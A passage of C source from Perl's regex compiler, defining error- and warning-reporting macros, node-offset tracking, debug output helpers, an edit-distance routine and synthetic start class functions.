programs that want to be strictly Unicode compatible by dying if any * attempt is made to match a non-Unicode code point against a Unicode * property. */ #define ALWAYS_WARN_SUPER ckDEAD(packWARN(WARN_NON_UNICODE)) #define OOB_NAMEDCLASS -1 /* There is no code point that is out-of-bounds, so this is problematic. But * its only current use is to initialize a variable that is always set before * looked at. */ #define OOB_UNICODE 0xDEADBEEF #define CHR_SVLEN(sv) (UTF ? sv_len_utf8(sv) : SvCUR(sv)) /* length of regex to show in messages that don't mark a position within */ #define RegexLengthToShowInErrorMessages 127 /* * If MARKER[12] are adjusted, be sure to adjust the constants at the top * of t/op/regmesg.t, the tests in t/op/re_tests, and those in * op/pragma/warn/regcomp. */ #define MARKER1 "<-- HERE" /* marker as it appears in the description */ #define MARKER2 " <-- HERE " /* marker as it appears within the regex */ #define REPORT_LOCATION " in regex; marked by " MARKER1 \ " in m/%" UTF8f MARKER2 "%" UTF8f "/" /* The code in this file in places uses one level of recursion with parsing * rebased to an alternate string constructed by us in memory. This can take * the form of something that is completely different from the input, or * something that uses the input as part of the alternate. In the first case, * there should be no possibility of an error, as we are in complete control of * the alternate string. But in the second case we don't completely control * the input portion, so there may be errors in that. Here's an example: * /[abc\x{DF}def]/ui * is handled specially because \x{df} folds to a sequence of more than one * character: 'ss'. What is done is to create and parse an alternate string, * which looks like this: * /(?:\x{DF}|[abc\x{DF}def])/ui * where it uses the input unchanged in the middle of something it constructs, * which is a branch for the DF outside the character class, and clustering * parens around the whole thing. (It knows enough to skip the DF inside the * class while in this substitute parse.) 'abc' and 'def' may have errors that * need to be reported. The general situation looks like this: * * |<------- identical ------>| * sI tI xI eI * Input: --------------------------------------------------------------- * Constructed: --------------------------------------------------- * sC tC xC eC EC * |<------- identical ------>| * * sI..eI is the portion of the input pattern we are concerned with here. * sC..EC is the constructed substitute parse string. * sC..tC is constructed by us * tC..eC is an exact duplicate of the portion of the input pattern tI..eI. * In the diagram, these are vertically aligned. * eC..EC is also constructed by us. * xC is the position in the substitute parse string where we found a * problem. * xI is the position in the original pattern corresponding to xC. * * We want to display a message showing the real input string. Thus we need to * translate from xC to xI. We know that xC >= tC, since the portion of the * string sC..tC has been constructed by us, and so shouldn't have errors. We * get: * xI = tI + (xC - tC) * * When the substitute parse is constructed, the code needs to set: * RExC_start (sC) * RExC_end (eC) * RExC_copy_start_in_input (tI) * RExC_copy_start_in_constructed (tC) * and restore them when done. * * During normal processing of the input pattern, both * 'RExC_copy_start_in_input' and 'RExC_copy_start_in_constructed' are set to * sI, so that xC equals xI. */ #define sI RExC_precomp #define eI RExC_precomp_end #define sC RExC_start #define eC RExC_end #define tI RExC_copy_start_in_input #define tC RExC_copy_start_in_constructed #define xI(xC) (tI + (xC - tC)) #define xI_offset(xC) (xI(xC) - sI) #define REPORT_LOCATION_ARGS(xC) \ UTF8fARG(UTF, \ (xI(xC) > eI) /* Don't run off end */ \ ? eI - sI /* Length before the <--HERE */ \ : ((xI_offset(xC) >= 0) \ ? xI_offset(xC) \ : (Perl_croak(aTHX_ "panic: %s: %d: negative offset: %" \ IVdf " trying to output message for " \ " pattern %.*s", \ __FILE__, __LINE__, (IV) xI_offset(xC), \ ((int) (eC - sC)), sC), 0)), \ sI), /* The input pattern printed up to the <--HERE */ \ UTF8fARG(UTF, \ (xI(xC) > eI) ? 0 : eI - xI(xC), /* Length after <--HERE */ \ (xI(xC) > eI) ? eI : xI(xC)) /* pattern after <--HERE */ /* Used to point after bad bytes for an error message, but avoid skipping * past a nul byte. */ #define SKIP_IF_CHAR(s, e) (!*(s) ? 0 : UTF ? UTF8_SAFE_SKIP(s, e) : 1) /* Set up to clean up after our imminent demise */ #define PREPARE_TO_DIE \ STMT_START { \ if (RExC_rx_sv) \ SAVEFREESV(RExC_rx_sv); \ if (RExC_open_parens) \ SAVEFREEPV(RExC_open_parens); \ if (RExC_close_parens) \ SAVEFREEPV(RExC_close_parens); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then calls Perl_croak with the given * arg. Show regex, up to a maximum length. If it's too long, chop and add * "...". */ #define _FAIL(code) STMT_START { \ const char *ellipses = ""; \ IV len = RExC_precomp_end - RExC_precomp; \ \ PREPARE_TO_DIE; \ if (len > RegexLengthToShowInErrorMessages) { \ /* chop 10 shorter than the max, to ensure meaning of "..." */ \ len = RegexLengthToShowInErrorMessages - 10; \ ellipses = "..."; \ } \ code; \ } STMT_END #define FAIL(msg) _FAIL( \ Perl_croak(aTHX_ "%s in regex m/%" UTF8f "%s/", \ msg, UTF8fARG(UTF, len, RExC_precomp), ellipses)) #define FAIL2(msg,arg) _FAIL( \ Perl_croak(aTHX_ msg " in regex m/%" UTF8f "%s/", \ arg, UTF8fARG(UTF, len, RExC_precomp), ellipses)) /* * Simple_vFAIL -- like FAIL, but marks the current location in the scan */ #define Simple_vFAIL(m) STMT_START { \ Perl_croak(aTHX_ "%s" REPORT_LOCATION, \ m, REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then Simple_vFAIL() */ #define vFAIL(m) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL(m); \ } STMT_END /* * Like Simple_vFAIL(), but accepts two arguments. */ #define Simple_vFAIL2(m,a1) STMT_START { \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then Simple_vFAIL2(). */ #define vFAIL2(m,a1) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL2(m, a1); \ } STMT_END /* * Like Simple_vFAIL(), but accepts three arguments. */ #define Simple_vFAIL3(m, a1, a2) STMT_START { \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, a2, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then Simple_vFAIL3(). */ #define vFAIL3(m,a1,a2) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL3(m, a1, a2); \ } STMT_END /* * Like Simple_vFAIL(), but accepts four arguments. */ #define Simple_vFAIL4(m, a1, a2, a3) STMT_START { \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, a2, a3, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END #define vFAIL4(m,a1,a2,a3) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL4(m, a1, a2, a3); \ } STMT_END /* A specialized version of vFAIL2 that works with UTF8f */ #define vFAIL2utf8f(m, a1) STMT_START { \ PREPARE_TO_DIE; \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END #define vFAIL3utf8f(m, a1, a2) STMT_START { \ PREPARE_TO_DIE; \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, a2, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* Setting this to NULL is a signal to not output warnings */ #define TURN_OFF_WARNINGS_IN_SUBSTITUTE_PARSE \ STMT_START { \ RExC_save_copy_start_in_constructed = RExC_copy_start_in_constructed;\ RExC_copy_start_in_constructed = NULL; \ } STMT_END #define RESTORE_WARNINGS \ RExC_copy_start_in_constructed = RExC_save_copy_start_in_constructed /* Since a warning can be generated multiple times as the input is reparsed, we * output it the first time we come to that point in the parse, but suppress it * otherwise. 'RExC_copy_start_in_constructed' being NULL is a flag to not * generate any warnings */ #define TO_OUTPUT_WARNINGS(loc) \ ( RExC_copy_start_in_constructed \ && ((xI(loc)) - RExC_precomp) > (Ptrdiff_t) RExC_latest_warn_offset) /* After we've emitted a warning, we save the position in the input so we don't * output it again */ #define UPDATE_WARNINGS_LOC(loc) \ STMT_START { \ if (TO_OUTPUT_WARNINGS(loc)) { \ RExC_latest_warn_offset = MAX(sI, MIN(eI, xI(loc))) \ - RExC_precomp; \ } \ } STMT_END /* 'warns' is the output of the packWARNx macro used in 'code' */ #define _WARN_HELPER(loc, warns, code) \ STMT_START { \ if (! RExC_copy_start_in_constructed) { \ Perl_croak( aTHX_ "panic! %s: %d: Tried to warn when none" \ " expected at '%s'", \ __FILE__, __LINE__, loc); \ } \ if (TO_OUTPUT_WARNINGS(loc)) { \ if (ckDEAD(warns)) \ PREPARE_TO_DIE; \ code; \ UPDATE_WARNINGS_LOC(loc); \ } \ } STMT_END /* m is not necessarily a "literal string", in this macro */ #define reg_warn_non_literal_string(loc, m) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ "%s" REPORT_LOCATION, \ m, REPORT_LOCATION_ARGS(loc))) #define ckWARNreg(loc,m) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define vWARN(loc, m) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) \ #define vWARN_dep(loc, m) \ _WARN_HELPER(loc, packWARN(WARN_DEPRECATED), \ Perl_warner(aTHX_ packWARN(WARN_DEPRECATED), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define ckWARNdep(loc,m) \ _WARN_HELPER(loc, packWARN(WARN_DEPRECATED), \ Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define ckWARNregdep(loc,m) \ _WARN_HELPER(loc, packWARN2(WARN_DEPRECATED, WARN_REGEXP), \ Perl_ck_warner_d(aTHX_ packWARN2(WARN_DEPRECATED, \ WARN_REGEXP), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define ckWARN2reg_d(loc,m, a1) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner_d(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, REPORT_LOCATION_ARGS(loc))) #define ckWARN2reg(loc, m, a1) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, REPORT_LOCATION_ARGS(loc))) #define vWARN3(loc, m, a1, a2) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, REPORT_LOCATION_ARGS(loc))) #define ckWARN3reg(loc, m, a1, a2) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, \ REPORT_LOCATION_ARGS(loc))) #define vWARN4(loc, m, a1, a2, a3) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, a3, \ REPORT_LOCATION_ARGS(loc))) #define ckWARN4reg(loc, m, a1, a2, a3) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, a3, \ REPORT_LOCATION_ARGS(loc))) #define vWARN5(loc, m, a1, a2, a3, a4) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, a3, a4, \ REPORT_LOCATION_ARGS(loc))) #define ckWARNexperimental(loc, class, m) \ _WARN_HELPER(loc, packWARN(class), \ Perl_ck_warner_d(aTHX_ packWARN(class), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) /* Convert between a pointer to a node and its offset from the beginning of the * program */ #define REGNODE_p(offset) (RExC_emit_start + (offset)) #define REGNODE_OFFSET(node) ((node) - RExC_emit_start) /* Macros for recording node offsets. 20001227 mjd@plover.com * Nodes are numbered 1, 2, 3, 4. Node #n's position is recorded in * element 2*n-1 of the array. Element #2n holds the byte length node #n. * Element 0 holds the number n. * Position is 1 indexed. */ #ifndef RE_TRACK_PATTERN_OFFSETS #define Set_Node_Offset_To_R(offset,byte) #define Set_Node_Offset(node,byte) #define Set_Cur_Node_Offset #define Set_Node_Length_To_R(node,len) #define Set_Node_Length(node,len) #define Set_Node_Cur_Length(node,start) #define Node_Offset(n) #define Node_Length(n) #define Set_Node_Offset_Length(node,offset,len) #define ProgLen(ri) ri->u.proglen #define SetProgLen(ri,x) ri->u.proglen = x #define Track_Code(code) #else #define ProgLen(ri) ri->u.offsets[0] #define SetProgLen(ri,x) ri->u.offsets[0] = x #define Set_Node_Offset_To_R(offset,byte) STMT_START { \ MJD_OFFSET_DEBUG(("** (%d) offset of node %d is %d.\n", \ __LINE__, (int)(offset), (int)(byte))); \ if((offset) < 0) { \ Perl_croak(aTHX_ "value of node is %d in Offset macro", \ (int)(offset)); \ } else { \ RExC_offsets[2*(offset)-1] = (byte); \ } \ } STMT_END #define Set_Node_Offset(node,byte) \ Set_Node_Offset_To_R(REGNODE_OFFSET(node), (byte)-RExC_start) #define Set_Cur_Node_Offset Set_Node_Offset(RExC_emit, RExC_parse) #define Set_Node_Length_To_R(node,len) STMT_START { \ MJD_OFFSET_DEBUG(("** (%d) size of node %d is %d.\n", \ __LINE__, (int)(node), (int)(len))); \ if((node) < 0) { \ Perl_croak(aTHX_ "value of node is %d in Length macro", \ (int)(node)); \ } else { \ RExC_offsets[2*(node)] = (len); \ } \ } STMT_END #define Set_Node_Length(node,len) \ Set_Node_Length_To_R(REGNODE_OFFSET(node), len) #define Set_Node_Cur_Length(node, start) \ Set_Node_Length(node, RExC_parse - start) /* Get offsets and lengths */ #define Node_Offset(n) (RExC_offsets[2*(REGNODE_OFFSET(n))-1]) #define Node_Length(n) (RExC_offsets[2*(REGNODE_OFFSET(n))]) #define Set_Node_Offset_Length(node,offset,len) STMT_START { \ Set_Node_Offset_To_R(REGNODE_OFFSET(node), (offset)); \ Set_Node_Length_To_R(REGNODE_OFFSET(node), (len)); \ } STMT_END #define Track_Code(code) STMT_START { code } STMT_END #endif #if PERL_ENABLE_EXPERIMENTAL_REGEX_OPTIMISATIONS #define EXPERIMENTAL_INPLACESCAN #endif /*PERL_ENABLE_EXPERIMENTAL_REGEX_OPTIMISATIONS*/ #ifdef DEBUGGING int Perl_re_printf(pTHX_ const char *fmt, ...) { va_list ap; int result; PerlIO *f= Perl_debug_log; PERL_ARGS_ASSERT_RE_PRINTF; va_start(ap, fmt); result = PerlIO_vprintf(f, fmt, ap); va_end(ap); return result; } int Perl_re_indentf(pTHX_ const char *fmt, U32 depth, ...) { va_list ap; int result; PerlIO *f= Perl_debug_log; PERL_ARGS_ASSERT_RE_INDENTF; va_start(ap, depth); PerlIO_printf(f, "%*s", ( (int)depth % 20 ) * 2, ""); result = PerlIO_vprintf(f, fmt, ap); va_end(ap); return result; } #endif /* DEBUGGING */ #define DEBUG_RExC_seen() \ DEBUG_OPTIMISE_MORE_r({ \ Perl_re_printf( aTHX_ "RExC_seen: "); \ \ if (RExC_seen & REG_ZERO_LEN_SEEN) \ Perl_re_printf( aTHX_ "REG_ZERO_LEN_SEEN "); \ \ if (RExC_seen & REG_LOOKBEHIND_SEEN) \ Perl_re_printf( aTHX_ "REG_LOOKBEHIND_SEEN "); \ \ if (RExC_seen & REG_GPOS_SEEN) \ Perl_re_printf( aTHX_ "REG_GPOS_SEEN "); \ \ if (RExC_seen & REG_RECURSE_SEEN) \ Perl_re_printf( aTHX_ "REG_RECURSE_SEEN "); \ \ if (RExC_seen & REG_TOP_LEVEL_BRANCHES_SEEN) \ Perl_re_printf( aTHX_ "REG_TOP_LEVEL_BRANCHES_SEEN "); \ \ if (RExC_seen & REG_VERBARG_SEEN) \ Perl_re_printf( aTHX_ "REG_VERBARG_SEEN "); \ \ if (RExC_seen & REG_CUTGROUP_SEEN) \ Perl_re_printf( aTHX_ "REG_CUTGROUP_SEEN "); \ \ if (RExC_seen & REG_RUN_ON_COMMENT_SEEN) \ Perl_re_printf( aTHX_ "REG_RUN_ON_COMMENT_SEEN "); \ \ if (RExC_seen & REG_UNFOLDED_MULTI_SEEN) \ Perl_re_printf( aTHX_ "REG_UNFOLDED_MULTI_SEEN "); \ \ if (RExC_seen & REG_UNBOUNDED_QUANTIFIER_SEEN) \ Perl_re_printf( aTHX_ "REG_UNBOUNDED_QUANTIFIER_SEEN "); \ \ Perl_re_printf( aTHX_ "\n"); \ }); #define DEBUG_SHOW_STUDY_FLAG(flags,flag) \ if ((flags) & flag) Perl_re_printf( aTHX_ "%s ", #flag) #ifdef DEBUGGING static void S_debug_show_study_flags(pTHX_ U32 flags, const char *open_str, const char *close_str) { if (!flags) return; Perl_re_printf( aTHX_ "%s", open_str); DEBUG_SHOW_STUDY_FLAG(flags, SF_BEFORE_SEOL); DEBUG_SHOW_STUDY_FLAG(flags, SF_BEFORE_MEOL); DEBUG_SHOW_STUDY_FLAG(flags, SF_IS_INF); DEBUG_SHOW_STUDY_FLAG(flags, SF_HAS_PAR); DEBUG_SHOW_STUDY_FLAG(flags, SF_IN_PAR); DEBUG_SHOW_STUDY_FLAG(flags, SF_HAS_EVAL); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_SUBSTR); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS_AND); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS_OR); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS); DEBUG_SHOW_STUDY_FLAG(flags, SCF_WHILEM_VISITED_POS); DEBUG_SHOW_STUDY_FLAG(flags, SCF_TRIE_RESTUDY); DEBUG_SHOW_STUDY_FLAG(flags, SCF_SEEN_ACCEPT); DEBUG_SHOW_STUDY_FLAG(flags, SCF_TRIE_DOING_RESTUDY); DEBUG_SHOW_STUDY_FLAG(flags, SCF_IN_DEFINE); Perl_re_printf( aTHX_ "%s", close_str); } static void S_debug_studydata(pTHX_ const char *where, scan_data_t *data, U32 depth, int is_inf) { GET_RE_DEBUG_FLAGS_DECL; DEBUG_OPTIMISE_MORE_r({ if (!data) return; Perl_re_indentf(aTHX_ "%s: Pos:%" IVdf "/%" IVdf " Flags: 0x%" UVXf, depth, where, (IV)data->pos_min, (IV)data->pos_delta, (UV)data->flags ); S_debug_show_study_flags(aTHX_ data->flags," [","]"); Perl_re_printf( aTHX_ " Whilem_c: %" IVdf " Lcp: %" IVdf " %s", (IV)data->whilem_c, (IV)(data->last_closep ? *((data)->last_closep) : -1), is_inf ? "INF " : "" ); if (data->last_found) { int i; Perl_re_printf(aTHX_ "Last:'%s' %" IVdf ":%" IVdf "/%" IVdf, SvPVX_const(data->last_found), (IV)data->last_end, (IV)data->last_start_min, (IV)data->last_start_max ); for (i = 0; i < 2; i++) { Perl_re_printf(aTHX_ " %s%s: '%s' @ %" IVdf "/%" IVdf, data->cur_is_floating == i ? "*" : "", i ? "Float" : "Fixed", SvPVX_const(data->substrs[i].str), (IV)data->substrs[i].min_offset, (IV)data->substrs[i].max_offset ); S_debug_show_study_flags(aTHX_ data->substrs[i].flags," [","]"); } } Perl_re_printf( aTHX_ "\n"); }); } static void S_debug_peep(pTHX_ const char *str, const RExC_state_t *pRExC_state, regnode *scan, U32 depth, U32 flags) { GET_RE_DEBUG_FLAGS_DECL; DEBUG_OPTIMISE_r({ regnode *Next; if (!scan) return; Next = regnext(scan); regprop(RExC_rx, RExC_mysv, scan, NULL, pRExC_state); Perl_re_indentf( aTHX_ "%s>%3d: %s (%d)", depth, str, REG_NODE_NUM(scan), SvPV_nolen_const(RExC_mysv), Next ? (REG_NODE_NUM(Next)) : 0 ); S_debug_show_study_flags(aTHX_ flags," [ ","]"); Perl_re_printf( aTHX_ "\n"); }); } # define DEBUG_STUDYDATA(where, data, depth, is_inf) \ S_debug_studydata(aTHX_ where, data, depth, is_inf) # define DEBUG_PEEP(str, scan, depth, flags) \ S_debug_peep(aTHX_ str, pRExC_state, scan, depth, flags) #else # define DEBUG_STUDYDATA(where, data, depth, is_inf) NOOP # define DEBUG_PEEP(str, scan, depth, flags) NOOP #endif /* ========================================================= * BEGIN edit_distance stuff. * * This calculates how many single character changes of any type are needed to * transform a string into another one. It is taken from version 3.1 of * * https://metacpan.org/pod/Text::Levenshtein::Damerau::XS */ /* Our unsorted dictionary linked list. */ /* Note we use UVs, not chars. */ struct dictionary{ UV key; UV value; struct dictionary* next; }; typedef struct dictionary item; PERL_STATIC_INLINE item* push(UV key, item* curr) { item* head; Newx(head, 1, item); head->key = key; head->value = 0; head->next = curr; return head; } PERL_STATIC_INLINE item* find(item* head, UV key) { item* iterator = head; while (iterator){ if (iterator->key == key){ return iterator; } iterator = iterator->next; } return NULL; } PERL_STATIC_INLINE item* uniquePush(item* head, UV key) { item* iterator = head; while (iterator){ if (iterator->key == key) { return head; } iterator = iterator->next; } return push(key, head); } PERL_STATIC_INLINE void dict_free(item* head) { item* iterator = head; while (iterator) { item* temp = iterator; iterator = iterator->next; Safefree(temp); } head = NULL; } /* End of Dictionary Stuff */ /* All calculations/work are done here */ STATIC int S_edit_distance(const UV* src, const UV* tgt, const STRLEN x, /* length of src[] */ const STRLEN y, /* length of tgt[] */ const SSize_t maxDistance ) { item *head = NULL; UV swapCount, swapScore, targetCharCount, i, j; UV *scores; UV score_ceil = x + y; PERL_ARGS_ASSERT_EDIT_DISTANCE; /* intialize matrix start values */ Newx(scores, ( (x + 2) * (y + 2)), UV); scores[0] = score_ceil; scores[1 * (y + 2) + 0] = score_ceil; scores[0 * (y + 2) + 1] = score_ceil; scores[1 * (y + 2) + 1] = 0; head = uniquePush(uniquePush(head, src[0]), tgt[0]); /* work loops */ /* i = src index */ /* j = tgt index */ for (i=1;i<=x;i++) { if (i < x) head = uniquePush(head, src[i]); scores[(i+1) * (y + 2) + 1] = i; scores[(i+1) * (y + 2) + 0] = score_ceil; swapCount = 0; for (j=1;j<=y;j++) { if (i == 1) { if(j < y) head = uniquePush(head, tgt[j]); scores[1 * (y + 2) + (j + 1)] = j; scores[0 * (y + 2) + (j + 1)] = score_ceil; } targetCharCount = find(head, tgt[j-1])->value; swapScore = scores[targetCharCount * (y + 2) + swapCount] + i - targetCharCount - 1 + j - swapCount; if (src[i-1] != tgt[j-1]){ scores[(i+1) * (y + 2) + (j + 1)] = MIN(swapScore,(MIN(scores[i * (y + 2) + j], MIN(scores[(i+1) * (y + 2) + j], scores[i * (y + 2) + (j + 1)])) + 1)); } else { swapCount = j; scores[(i+1) * (y + 2) + (j + 1)] = MIN(scores[i * (y + 2) + j], swapScore); } } find(head, src[i-1])->value = i; } { IV score = scores[(x+1) * (y + 2) + (y + 1)]; dict_free(head); Safefree(scores); return (maxDistance != 0 && maxDistance < score)?(-1):score; } } /* END of edit_distance() stuff * ========================================================= */ /* is c a control character for which we have a mnemonic? */ #define isMNEMONIC_CNTRL(c) _IS_MNEMONIC_CNTRL_ONLY_FOR_USE_BY_REGCOMP_DOT_C(c) STATIC const char * S_cntrl_to_mnemonic(const U8 c) { /* Returns the mnemonic string that represents character 'c', if one * exists; NULL otherwise. The only ones that exist for the purposes of * this routine are a few control characters */ switch (c) { case '\a': return "\\a"; case '\b': return "\\b"; case ESC_NATIVE: return "\\e"; case '\f': return "\\f"; case '\n': return "\\n"; case '\r': return "\\r"; case '\t': return "\\t"; } return NULL; } /* Mark that we cannot extend a found fixed substring at this point. Update the longest found anchored substring or the longest found floating substrings if needed. */ STATIC void S_scan_commit(pTHX_ const RExC_state_t *pRExC_state, scan_data_t *data, SSize_t *minlenp, int is_inf) { const STRLEN l = CHR_SVLEN(data->last_found); SV * const longest_sv = data->substrs[data->cur_is_floating].str; const STRLEN old_l = CHR_SVLEN(longest_sv); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_SCAN_COMMIT; if ((l >= old_l) && ((l > old_l) || (data->flags & SF_BEFORE_EOL))) { const U8 i = data->cur_is_floating; SvSetMagicSV(longest_sv, data->last_found); data->substrs[i].min_offset = l ? data->last_start_min : data->pos_min; if (!i) /* fixed */ data->substrs[0].max_offset = data->substrs[0].min_offset; else { /* float */ data->substrs[1].max_offset = (l ? data->last_start_max : (data->pos_delta > SSize_t_MAX - data->pos_min ? SSize_t_MAX : data->pos_min + data->pos_delta)); if (is_inf || (STRLEN)data->substrs[1].max_offset > (STRLEN)SSize_t_MAX) data->substrs[1].max_offset = SSize_t_MAX; } if (data->flags & SF_BEFORE_EOL) data->substrs[i].flags |= (data->flags & SF_BEFORE_EOL); else data->substrs[i].flags &= ~SF_BEFORE_EOL; data->substrs[i].minlenp = minlenp; data->substrs[i].lookbehind = 0; } SvCUR_set(data->last_found, 0); { SV * const sv = data->last_found; if (SvUTF8(sv) && SvMAGICAL(sv)) { MAGIC * const mg = mg_find(sv, PERL_MAGIC_utf8); if (mg) mg->mg_len = 0; } } data->last_end = -1; data->flags &= ~SF_BEFORE_EOL; DEBUG_STUDYDATA("commit", data, 0, is_inf); } /* An SSC is just a regnode_charclass_posix with an extra field: the inversion * list that describes which code points it matches */ STATIC void S_ssc_anything(pTHX_ regnode_ssc *ssc) { /* Set the SSC 'ssc' to match an empty string or any code point */ PERL_ARGS_ASSERT_SSC_ANYTHING; assert(is_ANYOF_SYNTHETIC(ssc)); /* mortalize so won't leak */ ssc->invlist = sv_2mortal(_add_range_to_invlist(NULL, 0, UV_MAX)); ANYOF_FLAGS(ssc) |= SSC_MATCHES_EMPTY_STRING; /* Plus matches empty */ } STATIC int S_ssc_is_anything(const regnode_ssc *ssc) { /* Returns TRUE if the SSC 'ssc' can match the empty string and any code * point; FALSE otherwise. Thus, this is used to see if using 'ssc' buys * us anything: if the function returns TRUE, 'ssc' hasn't been restricted * in any way, so there's no point in using it */ UV start, end; bool ret; PERL_ARGS_ASSERT_SSC_IS_ANYTHING; assert(is_ANYOF_SYNTHETIC(ssc)); if (! (ANYOF_FLAGS(ssc) & SSC_MATCHES_EMPTY_STRING)) { return FALSE; } /* See if the list consists solely of the range 0 - Infinity */ invlist_iterinit(ssc->invlist); ret = invlist_iternext(ssc->invlist, &start, &end) && start == 0 && end == UV_MAX; invlist_iterfinish(ssc->invlist); if (ret) { return TRUE; } /* If e.g., both \w and \W are set, matches everything */ if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { int i; for (i = 0; i < ANYOF_POSIXL_MAX; i += 2) { if (ANYOF_POSIXL_TEST(ssc, i) && ANYOF_POSIXL_TEST(ssc, i+1)) { return TRUE; } } } return FALSE; } STATIC void S_ssc_init(pTHX_ const RExC_state_t *pRExC_state, regnode_ssc *ssc) { /* Initializes the SSC 'ssc'. This includes setting it to match an empty * string, any code point, or any posix class under locale */ PERL_ARGS_ASSERT_SSC_INIT; Zero(ssc, 1, regnode_ssc); set_ANYOF_SYNTHETIC(ssc); ARG_SET(ssc, ANYOF_ONLY_HAS_BITMAP); ssc_anything(ssc); /* If any portion of the regex is to operate under locale rules that aren't * fully known at compile time, initialization includes it. The reason * this isn't done for all regexes is that the optimizer was written under * the assumption that locale was all-or-nothing. Given the complexity and * lack of documentation in the optimizer, and that there are inadequate * test cases for locale, many parts of it may not work properly, it is * safest to avoid locale unless necessary. */ if (RExC_contains_locale) { ANYOF_POSIXL_SETALL(ssc); } else { ANYOF_POSIXL_ZERO(ssc); } } STATIC int S_ssc_is_cp_posixl_init(const RExC_state_t *pRExC_state, const regnode_ssc *ssc) { /* Returns TRUE if the SSC 'ssc' is in its initial state with regard only * to the list of code points matched, and locale posix classes; hence does * not check its flags) */ UV start, end; bool ret; PERL_ARGS_ASSERT_SSC_IS_CP_POSIXL_INIT; assert(is_ANYOF_SYNTHETIC(ssc)); invlist_iterinit(ssc->invlist); ret = invlist_iternext(ssc->invlist, &start, &end) && start == 0 && end == UV_MAX; invlist_iterfinish(ssc->invlist); if (! ret) { return FALSE; } if (RExC_contains_locale && ! ANYOF_POSIXL_SSC_TEST_ALL_SET(ssc)) { return FALSE; } return TRUE; } #define INVLIST_INDEX 0 #define ONLY_LOCALE_MATCHES_INDEX 1 #define DEFERRED_USER_DEFINED_INDEX 2 STATIC SV* S_get_ANYOF_cp_list_for_ssc(pTHX_ const RExC_state_t *pRExC_state, const regnode_charclass* const node) { /* Returns a mortal inversion list defining which code points are matched * by 'node', which is of type ANYOF. Handles complementing the result if * appropriate. If some code points aren't knowable at this time, the * returned list must, and will, contain every code point that is a * possibility. */ dVAR; SV* invlist = NULL; SV* only_utf8_locale_invlist = NULL; unsigned int i; const U32 n = ARG(node); bool new_node_has_latin1 = FALSE; const U8 flags = OP(node) == ANYOFH ? 0 : ANYOF_FLAGS(node); PERL_ARGS_ASSERT_GET_ANYOF_CP_LIST_FOR_SSC; /* Look at the data structure created by S_set_ANYOF_arg() */ if (n != ANYOF_ONLY_HAS_BITMAP) { SV * const rv = MUTABLE_SV(RExC_rxi->data->data[n]); AV * const av = MUTABLE_AV(SvRV(rv)); SV **const ary = AvARRAY(av); assert(RExC_rxi->data->what[n] == 's'); if (av_tindex_skip_len_mg(av) >= DEFERRED_USER_DEFINED_INDEX) { /* Here there are things that won't be known until runtime -- we * have to assume it could be anything */ invlist = sv_2mortal(_new_invlist(1)); return _add_range_to_invlist(invlist, 0, UV_MAX); } else if (ary[INVLIST_INDEX]) { /* Use the node's inversion list */ invlist = sv_2mortal(invlist_clone(ary[INVLIST_INDEX], NULL)); } /* Get the code points valid only under UTF-8 locales */ if ( (flags & ANYOFL_FOLD) && av_tindex_skip_len_mg(av) >= 